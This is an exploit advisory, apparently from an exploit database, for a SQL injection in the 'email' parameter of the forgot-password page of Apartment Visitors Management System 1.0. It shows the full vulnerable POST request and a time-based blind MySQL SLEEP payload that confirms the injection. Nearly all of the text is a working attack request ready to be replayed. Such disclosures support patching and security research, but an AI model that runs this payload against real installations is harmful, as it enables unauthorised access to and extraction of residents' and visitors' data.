Apartment Visitors Management System 1.0 SQL Injection

`# Exploit Title: Apartment Visitors Management System 1.0 - 'email' SQL Injection  
# Date: 20.01.2021  
# Exploit Author: CANKAT ÇAKMAK  
# Vendor Homepage: https://phpgurukul.com/apartment-visitors-management-system-using-php-and-mysql/  
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10395  
# Version: V1.0  
# Tested on: Windows 10  
  
----------------------------------------------------  
  
POST /avms/forgot-password.php HTTP/1.1  
Host: test.com  
Content-Length: 42  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: test.com  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88  
Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: http://test.com/avms/forgot-password.php  
Accept-Encoding: gzip, deflate  
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7  
  
  
email=test%40gmail.com&contactno=1&submit=  
  
----------------------------------------------------  
  
poC:  
  
  
Parameter: email (POST)  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: [email protected]' AND (SELECT 2600 FROM  
(SELECT(SLEEP(5)))jpeB) AND 'WVFv'='WVFv&contactno=1&submit=  
  
`